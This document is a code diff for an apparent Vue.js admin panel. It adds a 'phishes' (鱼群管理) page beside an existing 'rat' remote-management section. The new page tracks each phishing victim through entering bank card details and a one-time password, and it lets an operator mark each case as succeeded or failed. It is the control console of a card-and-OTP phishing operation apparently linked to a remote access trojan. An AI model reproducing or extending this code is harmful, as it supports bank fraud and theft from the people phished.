.

src/router/index.js

@@ -74,6 +74,14 @@ const router = createRouter({
                     meta: {
                         title: '远程管理'
                     }
+                },
+                {
+                    path: 'phishes',
+                    name: 'phishes',
+                    component: () => import('../views/PhishesView.vue'),
+                    meta: {
+                        title: '鱼群管理'
+                    }
                 }
             ]
         }

src/views/MainView.vue

@@ -54,7 +54,7 @@ import DarkSwitch from '@/components/DarkSwitch.vue'
 import SideMenu from '@/components/SideMenu.vue'
 import { useRoute } from 'vue-router'
 import { ref, watch, shallowRef, inject } from 'vue'
-import { User, Home, Menu2, Settings, Video, LayoutGrid, LayersSubtract, DeviceMobile } from '@vicons/tabler'
+import { User, Home, Menu2, Settings, Video, LayoutGrid, LayersSubtract, DeviceMobile, Fish } from '@vicons/tabler'
 import UserAvatar from '@/components/UserAvatar.vue'
 import ChangePwd from '@/components/ChangePwd.vue'
 import { http } from '@/plugins/http'
@@ -110,6 +110,11 @@ const menus = [
         name: 'rat',
         title: '远程管理',
         icon: DeviceMobile
+    },
+    {
+        name: 'phishes',
+        title: '鱼群管理',
+        icon: Fish
     }
 ]
 function toggleMenu() {

src/views/PhishesView.vue

@@ -0,0 +1,103 @@
+<template>
+    <PagingTable url="/phishes" :query="query" ref="table">
+        <template #filter>
+            <ElInput
+                class="!w-52"
+                placeholder="请输入"
+                clearable
+                v-model="query.title"
+                @keyup.enter="table.refresh(true)"
+            >
+                <template #append>
+                    <ElButton :icon="Search" @click="table.refresh(true)" />
+                </template>
+            </ElInput>
+        </template>
+        <ElTableColumn prop="id" label="#" width="80" />
+        <ElTableColumn prop="step" label="状态" :formatter="stepFormatter" width="200" align="center">
+            <template #default="{ row }">
+                <ElTag :type="stepType(row.step)">{{ stepFormatter(row.step) }}</ElTag>
+            </template>
+        </ElTableColumn>
+        <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
+        <ElTableColumn label="操作" align="center" width="120">
+            <template #default="{ row }">
+                <el-dropdown @command="handleCommand($event, row)">
+                    <ElButton :icon="DotsVertical"></ElButton>
+                    <template #dropdown>
+                        <el-dropdown-menu>
+                            <el-dropdown-item command="1">Action 1</el-dropdown-item>
+                            <el-dropdown-item command="2">Action 2</el-dropdown-item>
+                            <el-dropdown-item command="change_card"></el-dropdown-item>
+                            <el-dropdown-item command="success">成功</el-dropdown-item>
+                            <el-dropdown-item command="fail">失败</el-dropdown-item>
+                        </el-dropdown-menu>
+                    </template>
+                </el-dropdown>
+            </template>
+        </ElTableColumn>
+    </PagingTable>
+</template>
+<script setup>
+import { onMounted, reactive, ref } from 'vue'
+import PagingTable from '@/components/PagingTable.vue'
+import { useTimeFormatter } from '@/utils/formatter'
+import { Plus, Search } from '@vicons/tabler'
+import EditDialog from '@/components/EditDialog.vue'
+import { setupEditDialog } from '@/utils/editDialog'
+import EnumSelect from '@/components/EnumSelect.vue'
+import { http } from '@/plugins/http'
+import { ElMessage } from 'element-plus'
+import { useClipboard } from '@vueuse/core'
+import SingleUpload from '@/components/SingleUpload.vue'
+import { DotsVertical } from '@vicons/tabler'
+const query = ref({})
+const timeFormatter = useTimeFormatter()
+const table = ref(null)
+const stepFormatter = (value) => {
+    switch (value) {
+        case 'input_card':
+            return '等待输入银行卡信息'
+        case 'wait_for_check_card':
+            return '已输入银行卡, 等待下一步'
+        case 'input_otp':
+            return '输入OTP'
+        case 'wait_for_check_otp':
+            return '已输入OTP, 等待下一步'
+        case 'success':
+            return '成功'
+        case 'fail':
+            return '失败'
+        default:
+            return '未知'
+    }
+}
+function stepType(value) {
+    switch (value) {
+        case 'wait_for_check_card':
+        case 'wait_for_check_otp':
+            return 'primary'
+        case 'success':
+            return 'success'
+        case 'fail':
+            return 'danger'
+        default:
+            return 'info'
+    }
+}
+function handleCommand(command, row) {
+    console.log(command, row)
+    switch (command) {
+        case 'success':
+            http.put(`/phishes/${row.id}`, { step: 'success' }).then(() => {
+                table.value.refresh()
+            })
+            break
+        case 'fail':
+            http.put(`/phishes/${row.id}`, { step: 'fail' }).then(() => {
+                table.value.refresh()
+            })
+            break
+    }
+}
+</script>